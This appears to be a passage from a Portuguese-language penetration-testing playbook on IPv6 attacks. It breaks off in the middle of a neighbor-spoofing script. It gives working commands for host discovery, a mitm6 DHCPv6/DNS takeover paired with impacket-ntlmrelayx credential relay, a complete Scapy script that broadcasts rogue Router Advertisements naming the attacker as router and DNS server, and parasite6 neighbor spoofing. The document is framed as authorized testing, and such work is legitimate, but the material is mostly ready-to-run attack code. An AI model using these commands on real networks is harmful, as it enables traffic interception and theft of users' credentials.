Explorando Vulnerabilidades IPv6

Quando Usar

• Testar se redes dual-stack possuem controles de segurança consistentes para tráfego IPv4 e IPv6
• Demonstrar riscos de IPv6 não gerenciado em redes onde apenas IPv4 é oficialmente suportado
• Explorar mecanismos SLAAC e Anúncios de Roteador para realizar ataques man-in-the-middle via IPv6
• Testar regras de firewall cientes de IPv6 e detecção de IDS/IPS para padrões de ataque específicos de IPv6
• Identificar protocolos de tunelamento IPv6 (6to4, Teredo, ISATAP) que contornam controles de segurança apenas IPv4

Não use em redes de produção sem autorização por escrito, contra sistemas onde a interrupção do IPv6 possa causar problemas de segurança, ou para ataques de negação de serviço contra a infraestrutura de rede.

Pré-requisitos

• Autorização por escrito especificando o escopo de testes IPv6 e as técnicas aprovadas
• Kali Linux com THC-IPv6 toolkit, Scapy e mitm6 instalados
• Interface de rede com suporte a IPv6 no segmento de rede alvo
• Compreensão de endereçamento IPv6, SLAAC, NDP e Anúncios de Roteador
• Wireshark para capturar e analisar tráfego IPv6

Fluxo de Trabalho

Passo 1: Enumerar IPv6 na Rede

# Check if IPv6 is enabled on the local interface
ip -6 addr show

# Discover IPv6 hosts on the local link using multicast
ping6 -c 3 ff02::1%eth0
# ff02::1 = all-nodes multicast address

# Use alive6 from THC-IPv6 toolkit to discover hosts
sudo alive6 eth0

# Scan for IPv6-enabled hosts with Nmap
nmap -6 --script ipv6-multicast-mld-list -e eth0
nmap -6 -sn --script targets-ipv6-multicast-echo -e eth0

# Check for Router Advertisements on the network
sudo tcpdump -i eth0 -n -v icmp6 and 'ip6[40] == 134'
# Type 134 = Router Advertisement

# Use radvdump to capture existing RAs
sudo radvdump

# Check for DHCPv6 servers
sudo dhclient -6 -v eth0 --request-only

Passo 2: Realizar Ataque MITM Baseado em SLAAC com mitm6

# mitm6 exploits the default behavior of Windows machines to request
# IPv6 configuration via DHCPv6 when a Router Advertisement is seen

# Start mitm6 to become the IPv6 DNS server
sudo mitm6 -d example.com -i eth0

# mitm6 performs the following:
# 1. Sends Router Advertisements to enable IPv6 on victims
# 2. Responds to DHCPv6 requests, assigning itself as DNS server
# 3. Victims now send DNS queries to the attacker over IPv6
# 4. Attacker can respond with spoofed DNS replies

# Combine with ntlmrelayx for credential relay
sudo impacket-ntlmrelayx -6 -tf targets.txt -wh fake-wpad.example.com -l /tmp/loot

# This exploits:
# 1. WPAD (Web Proxy Auto-Discovery) via DNS
# 2. Windows sends NTLM authentication to the WPAD proxy
# 3. ntlmrelayx relays the credentials to target servers

Passo 3: Falsificação de Anúncios de Roteador

#!/usr/bin/env python3
"""Rogue Router Advertisement for authorized IPv6 testing."""

from scapy.all import *
from scapy.layers.inet6 import *

# Craft a Router Advertisement packet
# This makes the attacker appear as the default IPv6 router

iface = "eth0"
attacker_mac = get_if_hwaddr(iface)
attacker_ipv6 = get_if_addr6(iface)

ra = (
    Ether(dst="33:33:00:00:00:01") /  # All-nodes multicast
    IPv6(src=attacker_ipv6, dst="ff02::1") /
    ICMPv6ND_RA(
        routerlifetime=1800,     # Advertise as router for 30 min
        prf=1,                   # High preference
        M=0,                     # No managed flag (use SLAAC)
        O=1                      # Other config via DHCPv6 (DNS)
    ) /
    ICMPv6NDOptSrcLLAddr(lladdr=attacker_mac) /
    ICMPv6NDOptPrefixInfo(
        prefix="2001:db8:dead::",  # Rogue prefix
        prefixlen=64,
        L=1,
        A=1,
        validlifetime=3600,
        preferredlifetime=1800
    ) /
    ICMPv6NDOptRDNSS(
        dns=[attacker_ipv6],  # Attacker as DNS server
        lifetime=1800
    )
)

print(f"[*] Sending rogue Router Advertisement from {attacker_ipv6}")
print(f"[*] Advertising prefix 2001:db8:dead::/64")
sendp(ra, iface=iface, count=5, inter=2)
print("[*] RA packets sent. Victims will configure IPv6 with rogue prefix.")

Passo 4: Ataques de Descoberta de Vizinhos IPv6

# Falsificação de Anúncio de Vizinho (equivalente IPv6 de falsificação de ARP)
# Usando a ferramenta parasite6 do THC-IPv6
sudo parasite6 eth0

# Ou criar com Scapy
python3 << 'PYEOF'
from scapy.all import *
from scapy.layers.inet6 import *

# Falsificar Anúncio de Vizinho para redirecionar tráfego
target_ipv6 = "2001:db8::50"    # Endereço IPv6 da vítima
gateway_ipv6 = "2001:db8::1"    # Endereço IPv6 do gateway

…